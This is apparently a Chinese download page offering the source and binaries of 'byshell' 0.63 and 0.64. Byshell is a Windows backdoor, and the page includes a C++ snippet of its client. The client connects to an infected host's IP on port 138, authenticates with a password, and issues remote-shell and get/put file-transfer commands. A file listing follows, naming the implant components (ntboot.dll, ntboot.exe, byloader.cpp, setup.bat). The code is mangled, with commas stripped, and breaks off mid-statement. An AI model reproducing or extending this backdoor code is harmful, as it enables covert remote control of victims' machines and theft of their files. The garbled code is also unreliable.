资源简介

包括byshell 063和064两个版本

资源截图

代码片段和文件信息

//byshell v0.63 cli

#include 
#include 
#pragma comment(lib “ws2_32.lib“)
#include 
#include 
#include 
char pwd[16]=“by“;char buff[66000]={0};char ip[31]={0};HANDLE filefp;unsigned int packnum=0;
char work(char * workbuffunsigned int workbufflenchar workflagint * psendlength);
void helpview(void);

void main(void){int ret;char workflag=0;
//printf(“\tbyshell client ver 0.63\ntype HELP to view the detailed manual.\n“);
printf(“please input the server ip address\n“);
gets(ip);printf(“%s will be connected\n“ip);
WSADATA WSAData;WSAStartup(MAKEWORD(22)&WSAData);
SOCKET sock=socket(AF_INETSOCK_STREAM0);
sockaddr_in cliaddr;memset(&cliaddr0sizeof(struct sockaddr_in));
cliaddr.sin_family= AF_INET;
cliaddr.sin_port =0;
cliaddr.sin_addr.S_un.S_addr = INADDR_ANY;
sockaddr_in srvaddr;memset(&srvaddr0sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_port = htons(138);
srvaddr.sin_addr.S_un.S_addr = inet_addr(ip);
bind(sock(struct sockaddr *)&cliaddrsizeof(struct sockaddr));
ret=connect(sock(struct sockaddr *)&srvaddrsizeof(struct sockaddr));
if(ret==-1){printf(“connect failedcheck your network and remote ip.“);exit(0);}
printf(“input the password(the default one is \‘by\‘)\n“);
gets(pwd);int sendlength=65536;int recvlen=0;
//gets not include the \rbut scanf will
while(1){strncpy(buffpwd16);//copy pass before workfor chpass
workflag=work(buff+32recvlen-32workflag&sendlength);sendlength+=32;
memcpy(buff+28&sendlength4);
if(sendlength!=send(sockbuffsendlength0)){printf(“fatal error in transmission\n“);exit(0);}
memset(buff065536); recvlen=recv(sockbuff655360);int duelen;memcpy(&duelenbuff+284);
while(duelen>recvlen){recvlen+=recv(sockbuff+recvlen65536-recvlen0);}//solve data division
}
}
//__finally{closesocket(sock);}

//now these are work codes.
char work(char * workbuffunsigned int workbufflenchar workflagint * psendlength){

if(workflag==0){printf(“%s“workbuff);
lab1: memset(workbuff065536);printf(“#“);gets(workbuff);*psendlength=strlen(workbuff);
if(!strncmp(workbuff“HELP“4) || !strncmp(workbuff“help“4)){helpview();goto lab1;}
if(!strncmp(workbuff“shell“5)){return 1;}
if(!strncmp(workbuff“chpass“6)){strncpy(pwdworkbuff+616);return 0;}
//get\tDES\tSRC
if(!strncmp(workbuff“get“3)){packnum=0;char desfile[255]={0};char srcfile[255]={0};
sscanf(workbuff“get\t%s\t%s“desfilesrcfile);
filefp=CreateFile(desfileGENERIC_WRITE00CREATE_ALWAYSFILE_ATTRIBUTE_NORMAL0);
memset(workbuff+30514);strcat(workbuffsrcfile);*psendlength=strlen(workbuff);
return 2;}
//put\tDES\tSRC
if(!strncmp(workbuff“put“3)){packnum=0;char desfile[255]={0};char srcfile[255]={0};
sscanf(workbuff“put\t%s\t%s“desfilesrcfile);
filefp=CreateFile(srcfileGENERIC_READ00OPEN_EXISTINGFILE_ATTRIBUTE_NORMAL0);
if(filefp==INVALID_HANDLE_VALUE){printf(“no such local file.\n“);goto lab1;}
m

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     目录          0  2004-12-25 13:21  byshell064

     文件      13131  2004-12-25 13:20  byshell064\064cli.cpp

     文件      49152  2004-12-23 23:17  byshell064\by064cli.exe

     文件      15251  2004-12-25 13:20  byshell064\byloader.cpp

     文件       3283  2004-12-25 13:45  byshell064\byreadme064.txt

     文件      45519  2004-12-25 13:21  byshell064\ntboot.cpp

     文件      69632  2004-12-23 22:23  byshell064\ntboot.dll

     文件      32768  2004-12-23 10:41  byshell064\ntboot.exe

     文件         15  2004-12-23 23:08  byshell064\setup.bat

     文件      10071  2004-12-23 23:01  byshell063\063cli.cpp

     文件      49152  2004-12-23 23:01  byshell063\by063cli.exe

     文件      16332  2008-05-11 19:14  byshell063\byloader.cpp

     文件       3099  2004-12-25 13:28  byshell063\byreadme063.txt

     文件      43515  2004-12-25 13:22  byshell063\ntboot.cpp

     文件      69632  2004-12-23 14:44  byshell063\ntboot.dll

     文件      32768  2004-12-23 10:41  byshell063\ntboot.exe

     文件         15  2004-12-23 23:08  byshell063\setup.bat

     目录          0  2008-05-11 18:24  byshell063

----------- ---------  ---------- -----  ----

               453335                    18


评论

共有 条评论